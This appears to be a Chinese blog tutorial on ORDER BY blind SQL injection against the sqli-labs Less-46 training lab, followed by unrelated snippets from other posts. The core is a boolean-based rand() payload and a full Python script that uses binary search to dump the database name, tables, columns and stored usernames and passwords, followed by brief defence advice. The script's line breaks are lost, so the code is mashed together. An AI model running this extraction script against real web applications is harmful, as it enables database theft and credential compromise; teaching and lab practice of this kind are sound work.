当前位置：首页 > news >正文

SQL之order by盲注

news 来源：原创 2025/9/15 19:34:02

一.order by盲注的原理

二.注入方式

a.布尔盲注

b.时间盲注

三.防御

一.order by盲注的原理

order by子句是用于按指定列排序查询结果，列名或列序号皆可。

order by 后面接的字段或者数字不一样，那么这个数据表的排序就会不同。

order by 盲注利用的就是这一点。

二.注入方式

环境为sqli-labs的46关，参数为sort传入id

a.布尔盲注

传入1时

传入2时

传入3时

不同字段的顺序是不同的，根据这个结果，我们可以用rand（）实现盲注

?sort=rand(ascii(substr((select database()),1,1))>114)

转为ASCII码来比较真假，为真时第一列为admin3，为假时第一列为Dumb

下面是脚本内容

import time
import requests
from bs4 import BeautifulSoupdef inject_database(url): #库dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)return datanamedef inject_tables(url, database_name):#表tables = []for i in range(0, 10): table_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breaktable_name += chr(mid)if table_name:tables.append(table_name)print(f"Table {i+1}: {table_name}")return tablesdef inject_columns(url, database_name, table_name):#列columns = []for i in range(0, 10): column_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakcolumn_name += chr(mid)if column_name:columns.append(column_name)print(f"Column {i+1}: {column_name}")return columnsdef inject_data(url, database_name, table_name, column_name):#数据data = []for i in range(0, 10): row_data = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakrow_data += chr(mid)if row_data:data.append(row_data)print(f"Row {i+1}: {row_data}")return dataif __name__ == '__main__':url = 'http://127.0.0.1/sqli/Less-46/'database_name = inject_database(url)print(f"Database Name: {database_name}")tables = inject_tables(url, database_name)print(f"Tables: {tables}")if tables:columns = inject_columns(url, database_name, tables[3])print(f"Columns: {columns}")if columns:username = inject_data(url, database_name, tables[3], columns[1])password = inject_data(url, database_name, tables[3], columns[2])print(f"Data: {username}")print(f"Data: {password}")

b.时间盲注

时间盲注不依赖页面内容，直接通过响应时间判断条件，因此无需解析html

三.防御

1.预编译，如PHP的PDO

2.最小权限原则，限制数据库用户权限，仅允许执行必要的操作。

3.输入长度限制

4.部署WAF

SQL之order by盲注

目录一.order by盲注的原理二.注入方式 a.布尔盲注 b.时间盲注三.防御一.order by盲注的原理 order by子句是用于按指定列排序查询结果，列名或列序号皆可。 order by 后面接的字段或者数字不一样，那么这个数据表的排序就会不同。 order by 盲…...

编程日记 2025/9/15 19:34:02

阻止浏览器的默认缩放机制

在移动端浏览器中，当用户点击输入框（如密码输入框）时，页面可能会自动放大以提高可读性。这种行为通常是由于浏览器的默认缩放机制引起的。要阻止这种自动放大行为，可以采取以下几种方法： 使用 viewport 元…...

编程日记 2025/9/15 19:30:58

from pathlib import Path import sys 获取 project 目录 project_dir Path(file).resolve().parent.parent 将 project 目录添加到 sys.path 中 sys.path.append(str(project_dir)) 导入 support 模块 import support support.print_func(“Runoob”)...

编程日记 2025/9/15 19:30:58

实用：查找Linux进程调度统计信息的三个方法

实用：查找Linux进程调度统计信息的三个方法在现代操作系统中，理解进程调度行为对于优化性能和解决瓶颈问题至关重要。本文将详细介绍如何在Linux系统中获取进程从调度队列中调入（enqueue）和调出（dequeue）…...

编程日记 2025/9/15 1:56:10

以下是自定义针对 Vite + TypeScript 项目的完整路径别名配置流程：

以下是针对 Vite TypeScript 项目的完整路径别名配置流程： 1. 安装必要依赖 bash npm install -D types/node 2. 配置 vite.config.ts typescript // vite.config.ts import { defineConfig } from vite import vue from vitejs/plugin-vue import path from pat…...

编程日记 2025/9/13 14:08:26

基于Matlab实现汽车远近光灯识别的详细步骤及代码示例

以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例，主要通过图像处理技术来区分远光灯和近光灯。整体思路图像预处理：包括读取图像、灰度化、去噪等操作，以提高后续处理的准确性。边缘检测：找出图像中的边缘信息…...

编程日记 2025/9/15 14:18:11

Solidity 开发环境

Solidity 开发环境 Solidity编辑器：Solidity编辑器是⼀种专⻔⽤于编写和编辑Solidity代码的编辑器。常⽤的Solidity编辑器包括 Visual Studio Code、Atom和Sublime Text。以太坊开发环境：以太坊开发环境（Ethereum Development Environment&a…...

编程日记 2025/9/14 1:47:26

Ollama+Cherrystudio+beg-m3+Deepseek R1 32b部署本地私人知识库（2025年2月win11版）

之前综合网络各方面信息得到的配置表： 在信息爆炸的时代，数据安全和个性化需求愈发凸显。搭建本地私人知识库，不仅能确保数据的安全性，还能根据个人需求进行个性化定制，实现知识的高效管理和利用。随着技术的不断发展…...

编程日记 2025/9/10 21:07:53

vue3.0将后端返回的word文件流转换为pdf并导出+html2pdf.js将页面导出为pdf

实现思路 1.将Word文档转换为HTML：mammoth.js，它可以将.docx文件转换为HTML 2.将HTML转换为PDF：使用html2pdf.js将HTML转换为PDF 如果想要相同的效果，也可以把前端页面直接导出转换为pdf: 运用的插件：html2pdf.js 后端…...

编程日记 2025/9/9 20:30:36

【心得】缓存穿透与缓存击穿总是记混，一文从英语单词含义角度分析带你区分清楚！

一句话省流版：缓存穿透的英语为cache penetration,可以翻译为缓存渗透，“渗透”联想到网安的攻击渗透，故缓存穿透是绕过防护进行攻击； 缓存击穿的英语为"cache breakdown"，可以翻译为缓存故障，“…...

编程日记 2025/9/14 21:34:50

day02

作业2 为 Activity 设置2种不同的启动模式并通过 adb 命令进行查看任务栈信息，并且打印生命周期方法执行日志 step1：生成第二个Activity和相应配置、一个是singleTask模式，还一个是mainActivity的默认格式 step2：打印生命周期…...

编程日记 2025/9/14 18:05:55

JavaScript 简单类型与复杂类型-堆和栈

深入理解JavaScript中的简单类型（基本数据类型）与复杂类型（引用数据类型）如何在内存中存储对于编写高效、无误的代码至关重要。本文将探讨这两种类型的差异，以及它们在内存中的存储机制——栈（Stack&#x…...

编程日记 2025/9/11 5:58:07

五、AIGC大模型_04LLaMA-Factory基础知识与SFT实战

1、LLaMA-Factory 基本介绍 1.1 定义 LLaMA-Factory 是一个开源的大型语言模型（LLM）微调框架，旨在帮助开发者和研究人员轻松地对预训练语言模型进行定制化训练和优化 1.2 功能特点支持多种预训练模型 LLaMA Factory 支持超过 100 种主流的…...

编程日记 2025/9/15 6:41:54

数字IC后端设计实现OCC(On-chip Clock Controller)电路介绍及时钟树综合案例

数字IC后端时钟树综合专题（OCC电路案例分享） 复杂时钟设计时钟树综合(clock tree synthesis)常见20个典型案例 1、什么是OCC？ 片上时钟控制器(On-chip Clock Controllers ，OCC)，也称为扫描时钟控制器(Scan Clock Con…...

编程日记 2025/9/14 15:09:26

LeetCodehot 力扣热题100 全排列

这段代码的目的是计算给定整数数组的所有全排列（permutations），并返回一个包含所有排列的二维数组。思路解析在这段代码中，采用了深度优先搜索（DFS） 和回溯的方法来生成所有的排列。关键步骤&#xf…...

编程日记 2025/9/9 21:38:39

深度学习c++资源库：vector容器，蓝桥杯常用算法sort，unique（排序+去重）

vector容器 1.基本概念 <vector> 是 STL 中的一个容器类，不同于普通数组的静态空间，vector可以动态扩展。动态扩展：并不是在原空间连接新空间，而是找到更大的内存空间，将原数据拷贝到新空间，释放…...

编程日记 2025/9/15 15:00:05

Postgresql-重置统计信息(reset statistics)

文章目录理解 PostgreSQL 中的 pg_stat_resetpg_stat_reset 的作用与使用时机pg_stat_reset 所需权限PostgreSQL 重置统计信息的方法重置整个database重置特定表的统计重置特定function的统计重置Statistics Collector:重置 WAL（Write-Ahead Logging）统…...

编程日记 2025/9/11 13:05:27

【Uniapp-Vue3】导入uni-id用户体系

在uniapp官网的uniCloud中下载uni-id用户体系或者直接进入加载，下载地址：uni-id-pages - DCloud 插件市场进入以后下载插件，打开HbuilderX 选中项目，点击确定点击跳过点击合并右键uniCloud文件夹下的database文件夹&#x…...

编程日记 2025/9/14 14:19:12

【前沿探索篇七】【DeepSeek自动驾驶：端到端决策网络】

第一章自动驾驶的"感官革命"：多模态神经交响乐团 1.1 传感器矩阵的量子纠缠我们把8路摄像头+4D毫米波雷达+128线激光雷达的融合称为"传感器交响乐"，其数据融合公式可以简化为： def sensor_fusion(cam, radar, lidar):# 像素级特征提取 (ResNet-152…...

编程日记 2025/8/16 12:57:59

Staruml软件的介绍安装uml类图的绘制流程

文章目录 1.uml和staruml之间的关系2.软件的安装3.配置脚本语言4.Staruml创建类图4.反向工程 1.uml和staruml之间的关系这篇文章主要是介绍这个staruml软件的安装和相关的背景介绍： 我和uml初识于IDEA软件，学习java的你一定用过这个软件，当…...

编程日记 2025/9/9 0:51:38

神经网络发展简史：从感知机到通用智能的进化之路

引言神经网络作为人工智能的核心技术，其发展历程堪称一场人类对生物大脑的致敬与超越。本文将用"模型进化"的视角，梳理神经网络发展的五大关键阶段，结合具象化比喻和经典案例，为读者呈现一幅清晰的AI算法发展图谱。一…...

编程日记 2025/9/11 12:11:33

快节奏生活

在当今快节奏的商务环境中，效率成为了决定企业竞争力的关键因素之一。亿可达软件连接平台，以其独特的功能和优势，为职场人士带来了前所未有的便捷与高效，成为了众多用户心中的“宝藏”工具。 1、亿可达：自动化流程的搭…...

编程日记 2025/9/14 8:24:00

Windows 11【1001问】通过Rufus制作Win 11系统安装U盘

随着科技的发展，Windows 11 已经成为许多用户的首选操作系统。在之前的几篇文章中，我们详细探讨了 Windows 11 的概念、安装配置要求以及如何下载 Windows 11 镜像文件，并介绍了六种不同的安装方法。本篇博客将聚焦于使用 ISO 文件安装 Windo…...

编程日记 2025/9/14 6:52:45

spring中手写注解开发(创建对象篇)

说明： 在spring底层中并不是我写的如此，这篇只是我用我自己的方式实现了使用注解组件扫描并且创建对象，方法并不是很难，可以看一看，欢迎大佬评论第一步： 我们需要自己写一个注解，我用的是idea…...

编程日记 2025/9/15 3:08:20

DeepSeek进入开源周，分享几点关于开源的思考

最近DeepSeek进入开源周，又把差点被大众遗忘在角落的开源话题拉了出来。作为一个开源作者，也分享几点关于开源的思考。 AI对开源的影响开源项目遇到的最大困难开源项目不应该商业化你的开源项目是垃圾...

编程日记 2025/8/21 8:03:20

大模型训练中的数据不平衡问题及其解决策略

目录大模型训练中的数据不平衡问题及其解决策略一、数据不平衡问题的影响二、处理数据不平衡问题的方法 1. 过采样（Oversampling） 2. 欠采样（Undersampling） 3. 代价敏感学习（Cost-Sensitive Learning&#xf…...

编程日记 2025/9/15 11:09:28

本地部署DeepSeek R1满血版大模型

一、前言老周上一篇分享了《本地部署DeepSeek R1大模型》，本地受硬件条件限制，只跑了80亿参数量的模型。 1.5b模型基本可以在大部分个人电脑甚至手机中运行，如果你有 6G 显存以上，那么可以部署7b模型，如果有16G显存&…...

编程日记 2025/9/12 20:28:28

外发抄板SCH与PCB检查系列

外发抄板SCH与PCB检查系列一、检查到手的文件二、PCB与原理图的对应检查1.为什么要查SCH与Pcbdoc的对应？2.查询方法三、PCB与实物的信号对应检查一、检查到手的文件外发出去两块板子：控制板与功率板。抄板机构返回的文件： 1.互相独立的…...

编程日记 2025/9/14 20:09:51

EX_25/2/25

编写一个如下场景： 有一个英雄Hero类，私有成员，攻击，防御，速度，生命值，以及所有的set get 方法编写一个武器 Weapon 类，拥有私有成员攻击力，以及set get 方法编写一个…...

编程日记 2025/9/13 10:27:27

C# 打印Word文档 – 4种打印方法

Word文档是日常办公和学习中不可或缺的一部分。比如在商务往来中，经常需要打印 Word 文档用于撰写和传递正式的商务信函、合作协议、项目提案等。打印出来的文档便于双方签字盖章，具有法律效力和正式性。本文将提供以下4种通过C# 打印Word文档的方法&…...

编程日记 2025/9/12 8:24:39

ROS的action通信——实现阶乘运算（一）

在ROS中除了常见的话题(topic）通信、服务(server)通信等方式，还有action通信这一方式，由于可以实时反馈任务完成情况，该通信方式被广泛运用于机器人导航等任务中。本文将通过三个小节的分享，实现基于action通信的阶乘运…...

编程日记 2025/9/15 5:00:05

Mac 上安装多版本的 JDK 且实现自由切换

1.可以通过查看以下目录中的内容，确认当前已经安装的 jdk 版本。 cd /Library/Java/JavaVirtualMachines2.命令行查看 jdk 的安装路径 /usr/libexec/java_home -V3.下载要安装的jdk版本，修改环境变量( cat ~/.bash_profile) # 定义JDK 8和JDK 17的安装路…...

编程日记 2025/9/14 0:50:10

网络编程套接字

目录一、认识端口号二、端口号和进程ID 三、TCP/UDP协议四、网络字节序五、socket编程接口 5.1socket的常见API 5.2socketaddr结构六、简单的UDP程序七、地址转换函数八、简单的TCP网络程序九、Tcp协议通讯流程 9.1基于TCP协议的客户端/服务器程序的一般流…...

编程日记 2025/9/15 9:50:01

45.matlab产生正弦叠加信号

，...

编程日记 2025/9/13 13:44:48

Java23种设计模式案例

目录一、概述二、创建型模式 (Creational Patterns) 单例模式 (Singleton Pattern) 工厂方法模式 (Factory Method Pattern) 抽象工厂模式 (Abstract Factory Pattern) 建造者模式 (Builder Pattern) 原型模式 (Prototype Pattern) 三、结构型模式 (Structu…...

编程日记 2025/9/13 15:43:44

计算机毕业设计程序，定制开发服务

我们擅长的开发语言包括Python、C、Golang、Java，以及前端技术如HTML、CSS、JS和Vue。我们的服务内容丰富，能够满足您各种需求，无论是简单的功能开发还是复杂的定制项目，我们都能为您提供专业支持。若有具体需求可联系作者。链接…...

编程日记 2025/9/12 16:12:02

AI提示词的种类与适合的任务

以下是提示词的主要种类及其适用任务，基于大模型特性与最佳实践总结： 一、基础提示词零样本提示（Zero-shot Prompting） 形式：直接输入任务指令，不提供示例（如“翻译以下句子：Hello …...

编程日记 2025/9/15 4:07:16

【Kimi】自动生成PPT-并支持下载和在线编辑--全部免费

【Kimi】免费生成PPT并免费下载用了好几个大模型，有些能生成PPT内容； 有些能生成PPT，但下载需要付费； 目前只有Kimi生成的PPT，能选择模板、能在线编辑、能下载，关键全部免费！ 一、用kimi生成PP…...

编程日记 2025/9/15 4:13:28

Maven环境搭建

Maven 1. 概述 ApacheMaven是一个软件项目管理和构建工具。基于项目对象模型（POM）的概念，Maven可以从中心信息中管理项目的构建、报告和文档理解: maven构建项目（100%）而且帮你完成jar的统一管理。思考: 原来的jar—…...

编程日记 2025/9/10 16:34:13

Vue面试题

Vue面试题 Vue2.0的生命周期，每个生命周期分别做了哪些事情 create阶段：vue实例被创建。 beforeCreate: 创建前，此时data和methods中的数据都还没有初始化； created：创建完毕，data中有值，未…...

编程日记 2025/9/14 7:36:03

Linux时间日期类指令

1、data指令基本语法： date ： 显示当前时间date %Y : 显示当前年份date %m ： 显示当前月份date %d ： 显示当前哪一天date “%Y-%m-%d %H:%M:%S" ： 显示年月日时分秒date -s 字符串时间 ： 设置系统时…...

编程日记 2025/9/12 19:22:47

国标28181协议在智联视频超融合平台中的接入方法

一. 国标28181介绍国标 28181 协议全称是《安全防范视频监控联网系统信息传输、交换、控制技术要求》，是国内视频行业最重要的国家标准，目前有三个版本： 2011 年：推出 GB/T 28181-2011 版本，为安防行业的前端设备、平…...

编程日记 2025/9/10 20:22:27

pyautogui库的screenshot()函数

# 方法一 screenshot pyautogui.screenshot() screenshot.save("screenshot.png")# 方法二 # 获取屏幕分辨率 screen_width, screen_height pyautogui.size()# 截取桌面屏幕 screenshot pyautogui.screenshot(region(0, 0, screen_width, screen_height)) screens…...

编程日记 2025/9/14 9:12:35

python与C系列语言的差异总结（3）

与其他大部分编程语言不一样，Python使用空白符（whitespace）和缩进来标识代码块。也就是说，循环体、else条件从句之类的构成，都是由空白符加上冒号(:)来确定的。大部分编程语言都是使用某种大括号来标识代码块的。下面的…...

编程日记 2025/9/15 6:07:18

《Linux系统编程篇》System V信号量实现生产者与消费者问题（Linux 进程间通信（IPC））——基础篇(拓展思维)

文章目录 📚 **生产者-消费者问题**🔑 **问题分析**🛠️ **详细实现：生产者-消费者****步骤 1：定义信号量和缓冲区****步骤 2：创建信号量****步骤 3：生产者进程****步骤 4：消费者进程…...

编程日记 2025/9/10 3:12:34

Jmeter接口并发测试

Apache JMeter 是一款开源的性能测试工具，广泛用于接口并发测试、负载测试和压力测试。以下是使用 JMeter 进行接口并发测试的详细步骤： 一、准备工作安装 JMeter 下载地址：Apache JMeter 官网确保已安装 Java 环境（JMeter 依…...

编程日记 2025/9/14 20:09:59

Python--内置函数与推导式（上）

1. 匿名函数 Lambda表达式基础语法：lambda 参数: 表达式特点： 没有函数名，适合简单逻辑函数体只能是单行表达式自动返回表达式结果 # 示例1：加法 add lambda a, b: a b print(add(3, 5)) # 输出 8# 示例2：字…...

编程日记 2025/9/15 13:18:23

Python爬虫实战：获取六图网漫画图

注意：以下内容仅供技术研究，请遵守目标网站的robots.txt规定，控制请求频率避免对目标服务器造成过大压力！一、引言 Python 作为一种广泛应用于数据处理和网络爬虫领域的编程语言，拥有丰富的库和框架。其中，Scrapy 框架以其高效、灵活、可扩展等特点，成为构建爬虫程序的…...

编程日记 2025/9/12 19:13:57

《人工智能之高维数据降维算法：PCA与LDA深度剖析》

在人工智能与机器学习蓬勃发展的当下，数据处理成为关键环节。高维数据在带来丰富信息的同时，也引入了计算复杂度高、过拟合风险增大以及数据稀疏性等难题。降维算法应运而生，它能将高维数据映射到低维空间，在减少维度的同时最大程…...

编程日记 2025/9/14 6:45:28

第2课树莓派镜像的烧录

树莓派的系统通常是安装在SD卡上的‌。SD卡作为启动设备，负责启动树莓派并加载操作系统。这种设计使得树莓派具有便携性和灵活性，用户可以通过更换SD卡来更换操作系统或恢复出厂设置。烧录树莓派的镜像即是将树莓派镜像烧录到SD卡上&#xff0c…...

编程日记 2025/9/15 4:18:28

一.order by盲注的原理

二.注入方式

a.布尔盲注

b.时间盲注

三.防御

相关文章：